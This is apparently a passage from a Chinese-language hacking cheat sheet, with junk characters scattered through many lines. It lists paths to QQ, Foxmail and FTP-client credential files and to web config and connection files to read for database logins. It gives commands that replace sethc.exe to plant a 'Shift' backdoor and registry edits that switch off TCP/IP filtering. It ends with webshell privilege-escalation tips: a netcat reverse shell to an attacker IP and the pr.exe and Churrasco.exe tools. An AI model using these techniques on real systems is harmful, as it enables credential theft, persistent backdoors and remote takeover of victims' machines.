4 d7 \  a$ s) V/ j+ b6 N& a9 nc:\Program Files\Tencent\qq2008\qq.exe
5 i9 h1 V& b2 Z% vc:\Program Files\Tencent\qq2010\bin\qq.exe
' C/ t1 V3 o  {! ?c:\Program Files\Tencent\qq\Users\All Users\Registry.db
; b. n# T8 t% Z  P& ~C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
+ y" T- ^* F9 L& [; Vc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
& R2 f. `' U" ?6 mC:\Program Files\tencent\Foxmal\accounts.cfg
9 Y; y7 L9 `2 y0 M1 w9 o! CC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
2 ?5 Q* j+ }. p; |: H0 ^5 QC:\Program Files\FlashFXP\flashfxp.exe
  m# i2 s0 d0 |7 V/ c3 ~7 u9 Y: Xc:\Program Files\Oracle\bin\regsvr32.exe
( B( x$ W! v3 ~1 ~7 ^  }- ]7 _: yc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
3 V# V) N% D; P4 lc:\Program Files\tencent\QQGAME\readme.txt
; U8 {; U0 Z6 \$ {- |( J7 ^- tC:\Program Files\StormII\Storm.exe

3.网站相对路径:
3 Z; J/ ]1 L  b3 G) m6 S
" x' J# N8 `5 K6 U+ u! f  t/config.php
../../config.php
../config.php
../../../config.php
) C: m1 q% d1 ~* e% W/config.inc.php
$ z* b2 f, {3 H0 w./config.inc.php
1 F1 d1 _3 `  Y% [2 U$ m../../config.inc.php
( @# u7 J! `, S' Q  ^../config.inc.php
../../../config.inc.php
/conn.php
# v7 v( a2 D& h. B0 T% l7 X9 u./conn.php
7 f% l, J% D) N( B$ b! C4 @& p../../conn.php
../conn.php
- B& ]: H( ]. D1 n) o../../../conn.php
/conn.asp
- V4 @9 f, K  Y+ V$ R, N8 z./conn.asp
../../conn.asp
0 m  h) X$ S8 a  F( L1 e* [../conn.asp
9 E. C9 S) c$ Q7 F+ ]& W../../../conn.asp
( M& }+ m( `  u5 J  o/config.inc.php
./config.inc.php
../../config.inc.php
, s: |3 e( `1 G$ f: d9 k../config.inc.php
" ]! F% z! i5 B! ~) u; |../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
. U4 E2 _( }  |8 [/ C/ U/config/config.inc.php
9 O0 ]) ]5 y& q2 c, i./config/config.inc.php
+ A- c$ h! ?, Z& x../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
' `1 n' t3 F, m9 _' |& X" [/config/conn.php
2 h7 B8 r! O6 P; v./config/conn.php
- T, Y+ v- l) G( P7 \../../config/conn.php
2 h) k# k, Q6 ~& F../config/conn.php
../../../config/conn.php
/config/conn.asp
4 U$ q/ a# W- X( T( p* i" P./config/conn.asp
../../config/conn.asp
8 S. L, \, l# ]* f) g6 U../config/conn.asp
. |8 p4 L; \, E+ V* u../../../config/conn.asp
' G1 j$ g4 S) n; c. V# P1 l' P/config/config.inc.php
./config/config.inc.php
( e4 m$ R5 O% }5 `$ h5 `../../config/config.inc.php
../config/config.inc.php
( u" N4 Y6 d. w. z$ {+ Y. F# Y../../../config/config.inc.php
) M5 j3 }3 H4 A, p: w6 L/data/config.php
1 J/ ]5 V  p4 Z# z0 \" w! d6 W../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
5 p- n& N6 g) h( W; Y$ @./data/config.inc.php
../../data/config.inc.php
# u$ M8 H0 Y. D2 g% e' B../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
6 ~3 F, a" V( _../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
) a# k- Q, t; y6 k. v5 m8 y../../../data/conn.asp
0 B) ~: a4 \2 r. M" U/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
1 A+ g3 G2 g) K1 _, E/ g/include/config.php
. ^) y; P- X8 P5 M../../include/config.php
../include/config.php
# |5 j4 i+ G* @6 R) j- c% u../../../include/config.php
/include/config.inc.php
8 `- o: {$ [5 X' a( y) u( F/ l- ?- G./include/config.inc.php
# |: k+ c; y, f+ ~$ \2 L% j: f../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
' m0 W" X7 a8 W5 W3 p- |( Z5 J- ^/include/conn.php
./include/conn.php
../../include/conn.php
' t7 s+ f% {9 f# o1 E. z) e../include/conn.php
../../../include/conn.php
4 e! x* R3 S7 ~/include/conn.asp
; Q. o2 H% Z' L4 x* u% b/ J./include/conn.asp
; n/ P1 I. H2 j  @../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
* w5 [. c/ Q$ y) P8 D  \3 l/include/config.inc.php
! N' C1 R  r- [- I1 e1 q./include/config.inc.php
/ }. {& Y+ N, i! |$ f' E( ?' h  ~- e../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
( F9 B. _( D0 y  u9 C/inc/config.php
../../inc/config.php
../inc/config.php
) r+ l. h, q! L$ s( `' r" C../../../inc/config.php
/inc/config.inc.php
" `! m1 K2 a( ]  t  _8 v./inc/config.inc.php
../../inc/config.inc.php
* Q, _0 o, E' E% o; _../inc/config.inc.php
1 K! ^% k3 ?, U../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
& T( [9 |8 P& ^, P( F../../inc/conn.php
../inc/conn.php
5 h& C6 P& ?/ |2 l../../../inc/conn.php
& \+ L) H* Z# G, ^9 D/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
/ W/ M! ]: x, i8 a0 K( l../../inc/config.inc.php
7 f/ D+ v0 h. ?../inc/config.inc.php
! s6 J; P. u- W../../../inc/config.inc.php
: r- q0 E- D9 k6 T4 r/index.php
  _3 {; C) q! Q+ C./index.php
../../index.php
$ u, I/ z0 b1 Y( X../index.php
- k  e. h9 \& O3 U8 M3 C' K# {+ N../../../index.php
  Z2 g* x- ^0 Z- g# s$ }/index.asp
) K0 i9 A$ n  d+ g7 y0 \9 w5 `7 z./index.asp
" I% N, e3 |8 g  M../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
1 c8 U' `; }. ?: h　attrib c:\windows\system32\sethc.exe -h -r -s
) W6 v. b% r9 ~7 ]
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

/ n8 w- p, O& Z% y- q　　del c:\windows\system32\sethc.exe

2 E9 W2 [: N( q) P9 d. g　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
0 J. c7 t  i) o/ Q. O) i' ]
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

* f& E+ z6 c* R- A　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
8 T8 L; h$ ?& g' }8 h" vTCP/IP筛选在注册表里有三处，分别是：
) ~. R3 R( L5 E, }# m: _- tHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
3 m* P, [+ j: V$ qHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

! [/ K' H7 O% d6 x9 d& d分别用
1 @& |. Y* p2 o; {: _regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
* D5 I$ w3 I( c, w3 bregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
  s$ j. N3 c/ c5 T6 E命令来导出注册表项

* |, J! N7 h( {8 P% V! \9 T: v然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
0 q0 ~* h2 v2 }: a3 uregedit -s D:\a.reg
& q4 v2 D- N1 V+ r" J) ~regedit -s D:\b.reg
( j5 r  _7 T. O  I4 C+ M+ p+ Aregedit -s D:\c.reg
* S, x) v8 P# Z' S4 E& y导入注册表即可
9 I+ X7 j% B6 _8 I5 m4 u- C/ n
3 d' O6 {  U3 z5 ^webshell提权小技巧
: u) K  ~) G7 F: ?& Y. u1 acmd路径:
( B) d' K" V6 H: j5 B+ y) _1 zc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
7 G& P" w* J% t6 p7 `6 e. P"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
4 F( x# m  H. t- z/ K, Z  p# C通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
* s  X8 q5 v  t  {命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
2 |. s1 M+ M1 f这个不是重点
9 P4 q; R8 D/ g8 u  q0 R+ b& u我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功